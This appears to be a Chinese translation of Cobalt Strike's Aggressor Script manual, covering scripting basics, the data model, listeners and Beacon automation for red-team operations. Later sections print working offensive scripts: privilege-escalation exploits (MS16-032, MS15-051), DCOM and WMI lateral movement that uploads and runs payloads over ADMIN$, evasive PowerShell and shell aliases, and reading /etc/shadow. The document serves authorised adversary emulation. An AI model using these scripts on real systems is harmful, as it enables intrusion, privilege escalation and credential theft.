14.1、什么是Aggressor脚本
Aggressor Script
是Cobalt Strike 3.0
版及更高版本中内置的脚本语言。Aggressor
脚本允许你修改和扩展 Cobalt Strike
客户端。
历史
Aggressor Script
是 Armitage
中开源脚本引擎Cortana
的精神继承者。Cortana
是通过与 DARPA
的网络快速跟踪计划(Cyber Fast Track program)签订合同而实现的。Cortana
允许用户扩展 Armitage
,并通过Armitage
的团队服务器控制 Metasploit
框架及其功能。Cobalt Strike 3.0
是Cobalt Strike
在没有Armitage
作为基础的情况下进行的全面重写。这一改动为重新审视Cobalt Strike
的脚本并围绕Cobalt Strike
的功能构建一些东西提供了机会。这项工作的成果就是 Aggressor Script
。
Aggressor Script
是一种脚本语言,用于红队行动和对手模拟,其灵感来自可编写脚本的IRC
客户端和机器人。它有两个目的。你可以创建长期运行的机器人,模拟虚拟的红队成员,与你并肩作战。你还可以根据自己的需要扩展和修改 Cobalt Strike
客户端。
现状
Aggressor Script
是Cobalt Strike 3.0
的基础。Cobalt Strike 3.0
中的大部分弹出菜单和事件展示都是由Aggressor
脚本引擎管理的。尽管如此,Aggressor
脚本仍处于起步阶段。Strategic Cyber LLC
还没有为Cobalt Strike
的大部分功能建立应用程序接口。随着时间的推移,Aggressor
脚本将会不断发展。
# 14.2、如何加载脚本
Aggressor
脚本内置于 Cobalt Strike
客户端中。要永久加载脚本,请转至 Cobalt Strike -> Script Manager
并点击Load
。
# 14.3、脚本控制台
Cobalt Strike
提供了一个控制台来控制你的脚本并与之交互。通过控制台,你可以跟踪、分析、调试和管理你的脚本。Aggressor Script
控制台可通过 Cobalt Strike-> Script Console
访问。
控制台中可以使用以下命令:
Command | Arguments | What it does |
---|---|---|
? | "foo" iswm "foobar" | evaluate a sleep predicate and print result |
e | println("foo"); | evaluate a sleep statement |
help | list all of the commands available | |
load | /path/to/script.cna | load an Aggressor Script script |
ls | list all of the scripts loaded | |
proff | script.cna | disable the Sleep profiler for the script |
profile | script.cna | dumps performance statistics for the script. |
pron | script.cna | enables the Sleep profiler for the script |
reload | script.cna | reloads the script |
troff | script.cna | disable function trace for the script |
tron | script.cna | enable function trace for the script |
unload | script.cna | unload the script |
x | 2 + 2 | evaluate a sleep expression and print result |
14.4、无头Cobalt Strike
你可以在不使用 Cobalt Strike
图形用户界面的情况下使用 Aggressor
脚本。agscript
程序(包含在 Cobalt Strike Linux 软件包中)可运行无头Cobalt Strike
客户端。agscript
程序需要四个参数:
./agscript [host] [port] [user] [password]
这些参数会将无头 Cobalt Strike
客户端连接到你指定的团队服务器。无头 Cobalt Strike
客户端会显示 Aggressor
脚本控制台。
你可以使用 agscript
立即连接到团队服务器,并运行你选择的脚本。使用方法:
./agscript [host] [port] [user] [password] [/path/to/script.cna]
该命令将无头 Cobalt Strike
客户端连接到团队服务器,加载并运行脚本。无头Cobalt Strike
客户端会在与团队服务器同步之前运行你的脚本。使用 on ready
命令可等待无头Cobalt Strike
客户端完成数据同步步骤。
on ready {
println("Hello World! I am synchronized!");
closeClient();
}
# 14.5、Sleep脚本快速入门
Aggressor Script
建立在 Raphael Mudge
的 Sleep
脚本语言之上。Sleep
脚本语言手册位于:
http://sleep.dashnine.org/manual/
Aggressor Script
会执行 Sleep
执行的任何操作。为了保持理智,你应该了解以下几件事。
-
Sleep
的语法、运算符和惯用语与Perl
脚本语言相似。但有一个主要区别会让新程序员感到困惑。Sleep
要求在运算符和术语之间留出空白。以下代码无效:$x=1+2; # this will not parse!!
但以下写法是有效的:
$x = 1 + 2;
-
Sleep
变量被称为标量,标量包含字符串、各种格式的数字、Java 对象引用、函数、数组和字典。下面是Sleep
中的几个赋值:$x = "Hello World"; $y = 3; $z = @(1, 2, 3, "four"); $a = %(a => "apple", b => "bat", c => "awesome language", d => 4);
-
数组和字典使用
@
和%
函数创建。数组和字典可以引用其他数组和字典。数组和字典甚至可以引用自身。 -
注释以
#
开始,直到行尾。 -
Sleep
插入双引号字符串。这意味着以$
符号开头的任何空白分隔标记都会被其值替换。特殊变量$+
会将插值字符串与另一个值连接起来。println("\$a is: $a and \n\$x joined with \$y is: $x $+ $y");
这将打印出:
$a is: %(d => 4, b => 'bat', c => 'awesome language', a => 'apple') and $x joined with $y is: Hello World3
-
有一个函数叫做
&warn
。它的工作方式类似于&println
,只不过它还包含当前脚本名称和行号。这是调试代码的一个很棒的功能。 -
Sleep
函数是用sub
关键字声明的。函数的参数标记为$1
、$2
,一直到$n
。函数将接受任意数量的参数。变量@_
也是一个包含所有参数的数组。对$1
、$2
等的更改将改变@_
的内容。sub addTwoValues { println($1 + $2); } addTwoValues("3", 55.0);
该脚本打印出:
58.0
-
在
Sleep
中,函数与任何其他对象一样都是一等类型。以下是你可能会看到的一些内容:$addf = &addTwoValues;
-
$addf
变量现在引用了&addTwoValues
函数。要调用变量中的函数,请使用:[$addf : "3", 55.0];
-
此括号表示法也用于操作
Java
对象。如果你有兴趣了解更多信息,建议你阅读Sleep
手册。以下语句是等效的,并且它们执行相同的操作:[$addf : "3", 55.0]; [&addTwoValues : "3", 55.0]; [{ println($1 + $2); } : "3", 55.0]; addTwoValues("3", 55.0);
-
Sleep
有三种变量作用域:全局变量、特定闭包变量和局部变量。Sleep
手册对此有更详细的介绍。如果你在示例中看到local('$x $y $z')
,这意味着$x、$y 和 $z
是当前函数的局部变量,它们的值将在函数返回时消失。Sleep
对变量使用词法作用域。
Sleep
具有你在脚本语言中所期望的所有其他基本结构。你应该阅读手册以了解更多信息。
# 14.6、与用户交互
Aggressor
脚本使用 Sleep
的 &println
、&printAll
、&writeb
和 &warn
函数显示输出。这些函数将输出显示到脚本控制台。
脚本也可以注册命令。这些命令允许脚本通过控制台接收来自用户的触发。使用 command
关键字来注册命令:
command foo{
println("Hello $1");
}
此代码段注册了 foo
命令。脚本控制台会自动解析命令的参数,并按空格将其分割为若干标记。$1
是第一个标记,$2
是第二个标记,以此类推。通常情况下,标记由空格分隔,但用户也可以使用 "双引号 "来创建带有空格的标记。如果这种解析会影响你对输入内容的处理,可以使用$0
访问传给命令的原始文本。
颜色
你可以为 Cobalt Strike
控制台输出的文本添加颜色和样式。\c
、\U
和 \o
转义字符告诉Cobalt Strile
如何格式化文本。这些转义符只能在双引号字符串内解析。
\U
转义符会给后面的文字加上下划线。第二个\U
会停止下划线格式。
\o
转义符会重置其后面的文本的格式。换行符也会重置文本格式。
# 14.7、Cobalt Strike
Cobalt Strike 客户端
Aggressor
脚本引擎是Cobalt Strike
的粘合剂。大多数Cobalt Strike
对话框和功能都是以独立模块的形式编写的,这些模块都为Aggressor
脚本引擎提供了一些接口。
内部脚本default.cna
定义了默认的 Cobalt Strike
体验。该脚本定义了 Cobalt Strike
的工具栏按钮、弹出菜单,并且还格式化了大多数 Cobalt Strike
事件的输出。
本节将向你展示这些功能的工作原理,并使你能够根据自己的需求设计 Cobalt Strike
客户端。
键盘快捷键
脚本可以创建键盘快捷键。使用bind
关键字绑定键盘快捷键。本例中,当同时按下 Ctrl + H
键时,对话框中会显示 Hello World!
。
bind Ctrl+H {
show_message("Hello World!");
}
键盘快捷键可以是任何 ASCII
字符或特殊键。快捷方式可能应用了一个或多个修饰符。修饰键是以下键之一:Ctrl
、Shift
、Alt
或 Meta
。脚本可以指定修饰符+键。
弹出式菜单
脚本还可以添加或重新定义 Cobalt Strike
的菜单结构。popup
关键字可以为弹出钩子建立菜单层次结构。
下面是定义 Cobalt Strike
帮助菜单的代码:
popup help {
item("&Homepage", { url_open("https://www.cobaltstrike.com/"); });
item("&Support", { url_open("https://www.cobaltstrike.com/support"); });
item("&Arsenal", { url_open("https://www.cobaltstrike.com/scripts"); });
separator();
item("&Malleable C2 Profile", { openMalleableProfileDialog(); });
item("&System Information", { openSystemInformationDialog(); });
separator();
item("&About", { openAboutDialog(); });
}
该脚本与帮助弹出式钩子钩子,并定义了多个菜单项。菜单项名称中的 &
是其键盘快捷键。当用户单击每个项目时,就会执行与每个项目关联的代码块。
脚本也可以定义子菜单。 menu
关键字定义一个新菜单。当用户将鼠标悬停在菜单上时,与其关联的代码块将被执行并用于构建子菜单。
下面以Pivot Graph
菜单为例进行说明:
popup pgraph {
menu "&Layout" {
item "&Circle" { graph_layout($1, "circle"); }
item "&Stack" { graph_layout($1, "stack"); }
menu "&Tree" {
item "&Bottom" { graph_layout($1, "tree-bottom"); }
item "&Left" { graph_layout($1, "tree-left"); }
item "&Right" { graph_layout($1, "tree-right"); }
item "&Top" { graph_layout($1, "tree-top"); }
}
separator();
item "&None" { graph_layout($1, "none"); }
}
}
如果你的脚本为 Cobalt Strike
菜单钩子指定了一个菜单层次结构,那么它将添加到已经存在的菜单中。请使用 &popup_clear
函数清除其他已注册的菜单项,并根据自己的喜好重新定义弹出式菜单层次结构。
自定义输出
Aggressor Script
中的set
关键字定义如何格式化事件并将其输出呈现给用户。以下是 set
关键字的示例:
set EVENT_SBAR_LEFT {
return "[" . tstamp(ticks()) . "] " . mynick();
}
set EVENT_SBAR_RIGHT {
return "[lag: $1 $+ ]";
}
上面的代码定义了 Cobalt Strike
事件日志中状态栏的内容(View -> Event Log )。该状态栏的左侧显示当前时间和你的昵称。右侧显示Cobalt Strike
客户端和团队服务器之间消息的往返时间。
你可以覆盖 Cobalt Strike
默认脚本中的任何设置选项。创建包含你关心的事件定义的文件。将其载入 Cobalt Strike
。Cobalt Strike
将使用你的定义,而不是内置定义。
事件
使用 on
关键字可定义事件的处理程序。当 Cobalt Strike
与团队服务器连接并准备好代表你采取行动时,将触发 Ready
事件。
on ready {
show_message("Ready for action!");
}
Cobalt Strike
会针对各种情况生成事件。使用 *
元事件来观看 Cobalt Strike
触发的所有事件。
on * {
local('$handle $event $args');
$event = shift(@_);
$args = join(" ", @_);
$handle = openf(">>eventspy.txt");
writeb($handle, "[ $+ $event $+ ] $args");
closef($handle);
}
# 14.8、数据模型
Cobalt Strike
的团队服务器会存储你的主机、服务、证书和其他信息。它还会广播这些信息,并提供给所有客户端。
Data API
使用 &data_query
函数来查询 Cobalt Strike
的数据模型。该函数可以访问Cobalt Strike
客户端维护的所有状态和信息。使用 &data_keys
函数可以获得不同数据的查询列表。下面例子查询 Cobalt Strike
数据模型中的所有数据,并将其导出到文本文件中:
command export {
local('$handle $model $row $entry $index');
$handle = openf(">export.txt");
foreach $model (data_keys()) {
println($handle, "== $model ==");
println($handle, data_query($model));
}
closef($handle);
println("See export.txt for the data.");
}
Cobalt Strike
提供多种功能,使数据模型的操作更加直观。
Model | Function | Description |
---|---|---|
applications | &applications | System Profiler Results 系统分析器结果[View -> Applications] |
archives | &archives | Engagement events/activities(参与事件/活动) |
beacons | &beacons | Active beacons(活动beacons) |
credentials | &credentials | Usernames, passwords, etc.(用户名、密码等) |
downloads | &downloads | Downloaded files(下载的文件) |
keystrokes | &keystrokes | Keystrokes received by Beacon(Beacon 收到的击键) |
screenshots | &screenshots | Screenshots captured by Beacon(Beacon 捕获的屏幕截图) |
services | &services | Services and service information(服务及服务信息) |
sites | &sites | Assets hosted by Cobalt Strike(由 Cobalt Strike 托管的资产) |
socks | &pivots | SOCKS proxy servers and port forwards(SOCKS 代理服务器和端口转发) |
targets | &targets | Hosts and host information(主机和主机信息) |
这些函数返回一个数组,数据模型中的每个条目都有一行。每个条目都是一个字典,其中包含描述条目的不同键/值对。
了解数据模型的最佳方法是通过 Aggressor
脚本控制台进行探索。进入View -> Script Console ,并使用 x
命令计算表达式。例如:
使用 DATA_KEY
订阅特定数据模型的更改。
on keystrokes {
println("I have new keystrokes: $1");
}
# 14.9、监听器
监听器是 Cobalt Strike
在payload
处理程序之上的抽象。侦听器是附加到payload
配置信息(例如协议、主机、端口等)的名称,在某些情况下,监听器还承诺设置一个服务器来接收来自所描述payload
的连接。
监听器API
Aggressor
脚本从你当前连接的所有团队服务器中汇总监听器信息。这样就可以轻松地将会话传递给另一个团队服务器。要获取所有监听器名称的列表,请使用 &listeners
函数。如果只想使用本地监听器,请使用 &listeners_local
。&listener_info
函数将监听器名称解析为其配置信息。本例将所有监听器及其配置信息转储到Aggressor
脚本控制台:
command listeners {
local('$name $key $value');
foreach $name (listeners()) {
println("== $name == ");
foreach $key => $value (listener_info($name)) {
println("$[20]key : $value");
}
}
}
创建监听器
使用 &listener_create_ext
创建监听器,并启动与其关联的payload
处理程序。
选择监听器
使用 &openPayloadHelper
打开一个列出所有可用监听器的对话框。用户选择监听器后,对话框将关闭,Cobalt Strike
将运行一个回调函数。以下是Beacon
生成菜单的源代码:
item "&Spawn" {
openPayloadHelper(lambda({
binput($bids, "spawn $1");
bspawn($bids, $1);
}, $bids => $1));
}
Stagers
stager
是一个小程序,它下载有效负载并将执行传递给它。Stagers
非常适合大小受限的payload
传递向量(例如,用户驱动的攻击、内存损坏漏洞或单行命令)。不过Stagers
也有缺点。它们会在攻击链中引入一个额外的组件,而这个组件有可能被破坏。Cobalt Strike
的 stager
基于 Metasploit
框架中的 stager
。如果有必须的话,也可以使用特定于payload
的 stager
;但最好避免使用它们。
使用 &stager
导出与 Cobalt Strike ``payload
相关的payload stager
。并非所有payload
选项都有显式payload stager
。并非所有 stager
都有x64
选项。
&artifact_stager
函数将导出 PowerShell
脚本、可执行文件或 DLL
,以运行与 Cobalt Strike payload
相关联的 stager
。
Local Stagers
对于需要使用 stager
的后渗透操作,请使用仅限 localhost
的 bind_tcp stager
。使用此stager
可以使分段所需的后渗透操作能够同等地与 Cobalt Strike
的所有payload
一起使用。
使用&stager_bind_tcp
导出bind_tcp payload stager
。使用 &beacon_stage_tcp
将payload
传送到此 stager
。
&artifact_general
将接受这些任意代码,并生成PowerShell
脚本、可执行文件或 DLL
以托管这些代码。
命名管道Stagers
Cobalt Strike
确实有一个 bind_pipe stager
,对于某些横向移动情况很有用。此 stager
仅适用于 x86
。使用 &stager_bind_pipe
导出此 bind_pipe stager
。使用 &beacon_stage_pipe
将payload
传送到此 stager
。
&artifact_general
将接受这些任意代码,并生成PowerShell
脚本、可执行文件或 DLL
以托管这些代码。
Stageless Payloads
使用&payload
将 Cobalt Strike payload
(完整)导出为可立即运行的位置无关程序。
&artifact_general
将接受这些任意代码,并生成PowerShell
脚本、可执行文件或 DLL
以托管这些代码。
# 14.10、Beacon
Beacon
是 Cobalt Strike
的异步后渗透代理。在本节中,我们将探索使用 Cobalt Strike
的 Aggressor
脚本实现 Beacon
自动化的选项。
元数据
Cobalt Strike
为每个 Beacon
分配一个会话 ID
。这个ID
是一个随机数。 Cobalt Strike
将任务和元数据与每个 Beacon ID
相关联。使用&beacons
查询所有当前Beacon
会话的元数据。使用&beacon_info
查询特定Beacon
会话的元数据。下面是一个转储每个 Beacon
会话信息的脚本:
command beacons {
local('$entry $key $value');
foreach $entry (beacons()) {
println("== " . $entry['id'] . " ==");
foreach $key => $value ($entry) {
println("$[20]key : $value");
}
println();
Aliases(别名)
你可以使用别名关键字定义新的 Beacon
命令。下面是一个 hello
别名,可在 Beacon
控制台中打印 Hello World
。
alias hello {
blog($1, "Hello World!");
}
将上述内容写入脚本,加载到 Cobalt Strike
中,然后打开 Beacon
控制台。然后输入 hello
命令并按回车键。Cobalt Strike
甚至会以制表符的形式为你完成别名设置。你应该能在Beacon
控制台看到 Hello World!
。
你还可以使用 &alias
函数定义别名。
Cobalt Strike
会将以下参数传递给别名:$0
是别名名称和参数,不做任何解析。 $1
是输入别名的 Beacon
的 ID
。参数 $2
和 on
包含传递给别名的单个参数。别名解析器按空格分割参数。用户可以使用 "双引号 "将单词组合成一个参数。
alias saywhat {
blog($1, "My arguments are: " . substr($0, 8) . "\n");
}
你也可以在 Beacon
的帮助系统中注册别名。使用 &beacon_command_register
注册命令。
别名是扩展Beacon
并使其成为你自己系统的便捷方法。别名还能很好地发挥 Cobalt Strike
的威胁模拟作用。你可以使用别名来编写复杂的入侵后行动脚本,使其与其他行动者的技术相结合。你的红队操作员只需加载脚本,学习别名。然后他们就可以按照与你正在模仿的行动者保持一致的方式使用你的脚本策略进行操作。
响应新的Beacons
Aggressor Script
的一个常见用途是对新的Beacons
做出反应。使用 beacon_initial
事件设置在 Beacon
首次签入时应运行的命令。
on beacon_initial {
# do some stuff
}
beacon_initial
的 $1
参数是新 Beacon
的 ID
。
beacon_initial
事件会在beacon
首次报告元数据时触发。这意味着 DNS Beacon
在被要求运行命令之前不会触发 beacon_initial
。要与第一次回拨的DNS Beacon
交互,请使用 beacon_initial_empty
事件。
# some sane defaults for DNS Beacon
on beacon_initial_empty {
bmode($1, "dns-txt");
bcheckin($1);
}
弹出菜单
你还可以在 Beacons
弹出菜单中添加别名。别名虽好,但一次只能影响一个信标。通过弹出菜单,脚本的用户可以让多个Beacons
同时执行所需的操作。
beacon_top
和 beacon_bottom
弹出钩子可让你添加到默认的 Beacon
菜单中。Beacon
弹出钩子的参数是所选 Beacon ID
的数组。
popup beacon_bottom {
item "Run All..." {
prompt_text("Which command to run?", "whoami /groups", lambda({
binput(@ids, "shell $1");
bshell(@ids, $1);
}, @ids => $1));
}
}
日志合约
Cobalt Strike 3.0
及更高版本在日志记录方面做得很好。向Beacon
发出的每一条命令都会注明日期和时间戳,并归属于某个操作员。Cobalt Strike
客户端的beacon
控制台会处理这些日志记录。为用户执行命令的脚本不会将命令或操作员归属记录到日志中。。该脚本负责执行此操作。使用&binput
函数来执行此操作。该命令将向 Beacon
记录发送一条消息,就像用户键入了命令一样。
确认任务
自定义别名应调用&btask
函数来描述用户请求的操作。此输出被发送到 Beacon
日志,并且也用于 Cobalt Strike
的报告中。大多数向 Beacon
发出任务的 Aggressor Script
函数都会打印自己的确认消息。如果你想抑制这种情况,请添加!
到函数名称。这将运行该函数的安静变体。安静函数不会打印任务确认。例如, &bshell!
是&bshell
的安静变体。
alias survey {
btask($1, "Surveying the target!", "T1082");
bshell!($1, "echo Groups && whoami /groups");
bshell!($1, "echo Processes && tasklist /v");
bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");
bshell!($1, "echo System Info && systeminfo");
}
&btask
的最后一个参数是以逗号分隔的 ATT&CK
技术列表。 T1082
是系统信息发现。 ATT&CK
是 MITRE Corporation
的一个项目,用于对攻击者行为进行分类和记录。 Cobalt Strike
使用这些技术来构建其战术、技术和程序报告。你可以在下列链接中了解有关 MITRE ATT&CK
矩阵的更多信息:https://attack.mitre.org/。
占领Shell
别名可覆盖现有命令。下面是 Beacon
的 powershell
命令的Aggressor
脚本实现:
alias powershell {
local('$args $cradle $runme $cmd');
# $0 is the entire command with no parsing.
$args = substr($0, 11);
# generate the download cradle (if one exists) for an imported PowerShell script
$cradle = beacon_host_imported_script($1);
# encode our download cradle AND cmdlet+args we want to run
$runme = base64_encode( str_encode($cradle . $args, "UTF-16LE") );
# Build up our entire command line.
$cmd = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";
# task Beacon to run all of this.
btask($1, "Tasked beacon to run: $args", "T1086");
beacon_execute_job($1, "powershell", $cmd, 1);
}
该别名定义了在 Beacon
中使用的 PowerShell
命令。我们使用$0
来抓取所需的 PowerShell
字符串,而无需进行任何解析。重要的是要考虑到导入的 PowerShell
脚本(如果用户使用powershell-import
导入了 PowerShell
脚本)。为此,我们使用了 &beacon_host_imported_script
。该函数要求Beacon
在绑定到本地主机的一次性 Web
服务器上托管导入的脚本。它还返回一个带有 PowerShell
下载器的字符串,用于下载并评估导入的脚本。PowerShell
中的 -EncodedCommand
标志接受 base64
字符串形式的脚本。但有一个问题。我们必须将字符串编码为 little endian UTF16
文本。这个别名使用 &str_encode
来实现这一点。&btask
调用会记录 PowerShell
的这次运行,并将其与战术 T1086
相关联。&beacon_execute_job
函数会让 Beacon
运行PowerShell
并将其输出报告给 Beacon
。
同样,我们也可以在Beacon
中重新定义 shell
命令。这个别名创建了一个备用shell
命令,将 Windows
命令隐藏在环境变量中。
alias shell {
local('$args');
$args = substr($0, 6);
btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
bsetenv!($1, "_", $args);
beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}
&btask
调用会记录我们的意图,并将其与战术 T1059
相关联。&bsetenv
将我们的 Windows
命令分配给环境变量 _。脚本使用!
来抑制&bsetenv
的任务确认。&beacon_execute_job
函数运行参数为 /C %_%
的 %COMSPEC%
。这是因为 &beacon_execute_job
会解析命令参数中的环境变量。它不会解析参数中的环境变量。因此,我们可以使用%COMSPEC%
来定位用户的 shell
,但将 %_%
作为参数传递而不立即插值。
权限提升(运行命令)
Beacon
的runasadmin
命令尝试在提权的上下文中运行命令。该命令接受提权方式和命令(命令和参数:))。&beacon_elevator_register
函数使新的提权方式可供 runasadmin
使用。
beacon_elevator_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_elevator);
该代码使用 Beacon
的runasadmin
命令注册提权方式 ms16-032
。同时还给出了说明。当用户输入 runasadmin ms16-032 notepad.exe
时,Cobalt Strike
将使用以下参数运行 &ms16_032_elevator
:$1
是Beacon
会话 ID
。 $2
是命令和参数。下面是 &ms16_032_elevator
函数:
# Integrate ms16-032
# Sourced from Empire: https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc
sub ms16_032_elevator {
local('$handle $script $oneliner');
# acknowledge this command
btask($1, "Tasked Beacon to execute $2 via ms16-032", "T1068");
# read in the script
$handle = openf(getFileProper(script_resource("modules"), "Invoke-MS16032.ps1"));
$script = readb($handle, -1);
closef($handle);
# host the script in Beacon
$oneliner = beacon_host_script($1, $script);
# run the specified command via this exploit.
bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $2 $+ \"", $oneliner);
该函数使用&btask
向用户确认该操作。 &btask
中的描述也将出现在 Cobalt Strike
的日志和报告中。 T1068
是与此动作相对应的MITRE ATT&CK
技术。
该函数的末尾使用&bpowerpick
来运行Invoke-MS16032
,并使用参数来运行我们的命令。不过,实现 Invoke-MS16032
的PowerShell
脚本对于一行代码来说太大了。为了缓解这种情况,提权功能使用&beacon_host_script
在 Beacon
内托管大型脚本。 &beacon_host_script
函数返回一行以获取此托管脚本并对其进行评估。
&bpowerpick
后面的感叹号告诉 Aggressor
脚本调用此函数的安静变体。安静函数不打印任务描述。
这里就不多说了。命令提权脚本只需运行一个命令即可。)
权限升级(派生会话)
Beacon
的elevate
命令会尝试派生一个具有提升权限的新会话。该命令接受一个漏洞名称和一个监听器。&beacon_exploit_register
函数使新的漏洞利用程序可用于提升权限。
beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);
此代码使用 Beacon
的 elevate
命令注册漏洞利用ms15-051
。还给出了描述。当用户输入elevate ms15-051 foo
时,Cobalt Strike
将使用以下参数运行 &ms15_051_exploit
: $1
是beacon
会话 ID
。 $2
是监听器名称(例如,foo
)。下面是 &ms15_051_exploit
函数代码:
# Integrate windows/local/ms15_051_client_copy_image from Metasploit
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms15_051_client_copy_image.rb
sub ms15_051_exploit {
local('$stager $arch $dll');
# acknowledge this command
btask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051", "T1068");
# tune our parameters based on the target arch
if (-is64 $1) {
$arch = "x64";
$dll = getFileProper(script_resource("modules"), "cve-2015-1701.x64.dll");
}
else {
$arch = "x86";
$dll = getFileProper(script_resource("modules"), "cve-2015-1701.x86.dll");
}
# generate our shellcode
$stager = payload($2, $arch);
# spawn a Beacon post-ex job with the exploit DLL
bdllspawn!($1, $dll, $stager, "ms15-051", 5000);
# link to our payload if it's a TCP or SMB Beacon
beacon_link($1, $null, $2);
}
该函数使用&btask
向用户确认该操作。 &btask
中的描述也将出现在 Cobalt Strike
的日志和报告中。 T1068
是与此动作相对应的MITRE ATT&CK
技术。
该函数重新利用了Metasploit
框架中的一个exploit
。该漏洞利用模块被编译为支持 x86
和 x64
的 cve-2015-1701.[arch].dll
。该函数的第一个任务是读取与目标系统体系结构相对应的漏洞利用 DLL
。
&payload
函数为我们的监听器名称和指定的体系结构生成原始输出。
&bdllspawn
函数会生成一个临时进程,将我们的漏洞利用DLL
注入其中,并将我们导出的payload
作为参数传递。这就是Metasploit Framework
用来将shellcode
传递到以 Reflective DLL
实现的权限升级漏洞的方式。
最后,该函数调用&beacon_link
。如果目标见提前是 SMB
或 TCP Beacon payload
, &beacon_link
将尝试连接到它。
横向移动(运行命令)
Beacon
的 remote-exec
命令试图在远程目标上运行一条命令。该命令接受远程执行方法、目标和命令 + 参数。&beacon_remote_exec_method_register
函数既是一个很长的函数名,又为远程执行方法提供了一个新方法。
beacon_remote_exec_method_register("com-mmc20", "Execute command via MMC20.Application COM Object", &mmc20_exec_method);
这段代码将remote-exec
方法 com-mmc20
注册到 Beacon
的remote-exec
命令中。同时还给出了说明。当用户输入 remote-exec com-mmc20 c:\windows\temp\malware.exe
时,Cobalt Strike
将运行 &mmc20_exec_method
,参数如下: $1
是Beacon
会话 ID
。$2
是目标。$3
是命令和参数。下面是 &mmc20_exec_method
函数:
sub mmc20_exec_method {
local('$script $command $args');
# state what we're doing.
btask($1, "Tasked Beacon to run $3 on $2 via DCOM", "T1175");
# separate our command and arguments
if ($3 ismatch '(.*?) (.*)') {
($command, $args) = matched();
}
else {
$command = $3;
$args = "";
}
# build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
$script = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
$script .= $2;
$script .= '")).Document.ActiveView.ExecuteShellCommand("';
$script .= $command;
$script .= '", $null, "';
$script .= $args;
$script .= '", "7");';
# run the script we built up
bpowershell!($1, $script, "");
}
该功能使用 &btask
确认任务并向操作员描述(以及日志和报告)。T1175
是与此操作相对应的 MITRE ATT&CK
技术。
然后,该函数将$3
参数拆分为命令和参数两部分。这样做是因为该技术要求这些值是分开的。
之后,该函数会创建一个PowerShell
命令字符串,如下所示:
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "TARGETHOST")).Document.ActiveView.ExecuteShellCommand("c:\windows\temp\a.exe", $null, "", "7");
此命令使用 MMC20.Application COM
对象在远程目标上执行命令。这种方法是由Matt Nelson
发现的一种横向移动选项:https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
此函数使用&bpowershell
来运行此 PowerShell
脚本。第二个参数是一个空字符串,用于抑制默认下载器(如果操作员之前运行过 powershell-import
)。你也可以修改此示例以使用 &bpowerpick
运行此单行代码,而无需powershell.exe
。
这个示例是作者向 Cobalt Strike
添加 Remote-exec
命令和 API
的主要动机之一。这是一个出色的"执行此命令"原语,但端到端武器化(生成会话)通常包括使用此原语在目标上运行PowerShell
单行代码。由于种种原因,这在很多情况下并不是正确的选择。通过remote-exec
接口公开这一基本要素,可以让你选择如何最好地利用这一功能(而不会强迫你做出你不希望做出的选择)。
横向移动(派生会话)
Beacon
的jump
命令尝试在远程目标上生成新会话。此命令接受漏洞利用名称、目标和侦听器,&beacon_remote_exploit_register
函数使新模块可用于jump
。
beacon_remote_exploit_register("wmi", "x86", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x86"));
beacon_remote_exploit_register("wmi64", "x64", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x64"));
上述函数注册了 wmi
和wmi64
选项,供jump
命令使用。&lambda
函数复制了 &wmi_remote_spawn
,并将 $arch
设置为该函数副本的静态变量。通过这种方法,我们可以使用相同的逻辑在一个实现中提供两个横向移动选项。下面是 &wmi_remote_spawn
函数:
# $1 = bid, $2 = target, $3 = listener
sub wmi_remote_spawn {
local('$name $exedata');
btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3) . ") via WMI", "T1047");
# we need a random file name.
$name = rand(@("malware", "evil", "detectme")) . rand(100) . ".exe";
# generate an EXE. $arch defined via &lambda when this function was registered with
# beacon_remote_exploit_register
$exedata = artifact_payload($3, "exe", $arch);
# upload the EXE to our target (directly)
bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name", $exedata);
# execute this via WMI
brun!($1, "wmic /node:\" $+ $2 $+ \" process call create \"\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name $+ \"");
# assume control of our payload (if it's an SMB or TCP Beacon)
beacon_link($1, $2, $3);
&btask
函数履行了我们记录用户意图的义务。T1047
参数将此操作与 MITRE ATT&CK
矩阵中的战术 1047
相关联。
&artfiact_payload
函数生成一个stageless
可执行程序来运行我们的payload
。它使用 Artifact Kit
钩子来生成此执行文件。
&bupload_raw
函数将工件数据上传到目标。该函数使用 \\target\ADMIN$\filename.exe
直接将EXE
通过管理员专用共享写入远程目标。
&brun
运行wmic /node:"target"
进程调用 create "\\target\ADMIN$\filename.exe"
以执行远程目标上的文件。
如果payload
是 SMB
或 TCP Beacon
,则 &beacon_link
承担对paylaod
的控制。
# 14.11、SSH会话
Cobalt Strike
的SSH
客户端使用SMB Beacon
协议,并实现了Beacon
命令和功能的子集。从Aggressor
脚本的角度来看,SSH
会话就是命令较少的Beacon
会话。
是什么类型的会话?
与 Beacon
会话一样,SSH
会话也有一个 ID
。Cobalt Strike
会将任务和元数据与此 ID
关联。&beacons
函数还会返回所有 Cobalt Strike
会话(SSH
会话和 Beacon
会话)的信息。使用 -isssh
参数测试会话是否为 SSH
会话。使用 -isbeacon
测试会话是否为 Beacon
会话。
以下是仅过滤 SSH
会话信标的函数:
sub ssh_sessions {
return map({
if (-isssh $1['id']) {
return $1;
}
else {
return $null;
}
}, beacons());
}
别名
可以使用 ssh_alias
关键字将命令添加到 SSH
控制台。如果你是管理员,这里有一个别名 hashdump
以获取 /etc/shadow
的脚本。
ssh_alias hashdump {
if (-isadmin $1) {
bshell($1, "cat /etc/shadow");
}
else {
berror($1, "You're (probably) not an admin");
}
}
